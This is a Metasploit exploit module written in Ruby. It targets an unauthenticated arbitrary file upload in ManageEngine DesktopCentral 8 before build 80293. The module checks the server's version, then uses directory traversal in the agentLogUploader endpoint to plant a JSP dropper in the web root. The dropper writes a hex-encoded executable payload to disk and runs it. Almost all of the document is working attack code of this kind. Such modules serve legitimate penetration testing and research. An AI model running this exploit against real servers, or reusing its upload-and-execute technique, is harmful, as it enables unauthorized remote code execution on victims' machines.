##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require
'msf/core'
class
Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::
EXE
include Msf::Exploit::FileDropper
def
initialize(info = {})
super
(update_info(info,
'Name'
=>
'DesktopCentral AgentLogUpload Arbitrary File Upload'
,
'Description'
=> %q{
This
module
exploits an arbitrary file upload vulnerability
in
DesktopCentral
8
.
0
.
0
below build
80293
.
A
malicious user can upload a
JSP
file into the web root without
authentication, leading to arbitrary code execution.
},
'Author'
=>
[
'Thomas Hibbert <thomas.hibbert[at]security-assessment.com>'
# Vulnerability discovery and MSF module
],
'License'
=>
MSF_LICENSE
,
'References'
=>
[
[
'URL'
,
'http://security-assessment.com/files/documents/advisory/Desktop%20Central%20Arbitrary%20File%20Upload.pdf'
]
],
'Platform'
=>
'win'
,
'Arch'
=>
ARCH_X86
,
'Targets'
=>
[
[
'Manage Desktop Central 8 server / Windows'
, {} ]
],
'Privileged'
=>
true
,
'DefaultTarget'
=>
0
,
'DisclosureDate'
=>
'Nov 11 2013'
))
register_options([Opt::
RPORT
(
8020
)],
self
.
class
)
end
def
upload_file(filename, contents)
res = send_request_cgi({
'uri'
=> normalize_uri(
"agentLogUploader?computerName=DesktopCentral&domainName=webapps&customerId=..&filename=#{filename}"
),
'method'
=>
'POST'
,
'data'
=> contents,
'ctype'
=>
"text/html"
})
if
res
and
res.code ==
200
and
res.body.to_s.empty?
return
true
else
return
false
end
end
def
check
res = send_request_cgi({
'uri'
=> normalize_uri(
"configurations.do"
),
'method'
=>
'GET'
})
if
res
and
res.code ==
200
and
res.body.to_s =~ /ManageEngine Desktop Central
8
/
and
res.body.to_s =~ /id=
"buildNum"
value=
"([0-9]+)"
\/>/
build =
$1
print_status(
"Manage Desktop Central 8 build #{build} found"
)
if
build <
"80293"
return
Exploit::CheckCode::Vulnerable
else
return
Exploit::CheckCode::Safe
end
end
res = send_request_cgi({
'uri'
=> normalize_uri(
"agentLogUploader"
),
'method'
=>
'POST'
})
if
res
and
res.code ==
200
return
Exploit::CheckCode::Detected
end
return
Exploit::CheckCode::Safe
end
def
exploit
print_status(
"#{peer} - Uploading JSP to execute the payload"
)
exe = payload.encoded_exe
exe_filename = rand_text_alpha_lower(
8
) +
".exe"
dropper = jsp_drop_and_execute(exe, exe_filename)
dropper_filename = rand_text_alpha_lower(
8
) +
".jsp"
if
upload_file(dropper_filename, dropper)
register_files_for_cleanup(exe_filename)
register_files_for_cleanup(
"..\\webapps\\DesktopCentral\\#{dropper_filename}"
)
else
fail_with(Exploit::Failure::Unknown,
"#{peer} - JSP upload failed"
)
end
print_status(
"#{peer} - Executing payload"
)
send_request_cgi(
{
'uri'
=> normalize_uri(dropper_filename),
'method'
=>
'GET'
})
end
def
jsp_drop_bin(bin_data, output_file)
jspraw = %
Q
|<%@ page import=
"java.io.*"
%>\n|
jspraw << %
Q
|<%\n|
jspraw << %
Q
|
String
data =
"#{Rex::Text.to_hex(bin_data, "
")}"
;\n|
jspraw << %
Q
|FileOutputStream outputstream =
new
FileOutputStream(
"#{output_file}"
);\n|
jspraw << %
Q
|int numbytes = data.length();\n|
jspraw << %
Q
|byte[] bytes =
new
byte[numbytes/
2
];\n|
jspraw << %
Q
|
for
(int counter =
0
; counter < numbytes; counter +=
2
)\n|
jspraw << %
Q
|{\n|
jspraw << %
Q
| char char1 = (char) data.charAt(counter);\n|
jspraw << %
Q
| char char2 = (char) data.charAt(counter +
1
);\n|
jspraw << %
Q
| int comb = Character.digit(char1,
16
) & 0xff;\n|
jspraw << %
Q
| comb <<=
4
;\n|
jspraw << %
Q
| comb += Character.digit(char2,
16
) & 0xff;\n|
jspraw << %
Q
| bytes[counter/
2
] = (byte)comb;\n|
jspraw << %
Q
|}\n|
jspraw << %
Q
|outputstream.write(bytes);\n|
jspraw << %
Q
|outputstream.close();\n|
jspraw << %
Q
|%>\n|
jspraw
end
def
jsp_execute_command(command)
jspraw = %
Q
|\n|
jspraw << %
Q
|<%\n|
jspraw << %
Q
|Runtime.getRuntime().exec(
"#{command}"
);\n|
jspraw << %
Q
|%>\n|
jspraw
end
def
jsp_drop_and_execute(bin_data, output_file)
jsp_drop_bin(bin_data, output_file) + jsp_execute_command(output_file)
end
end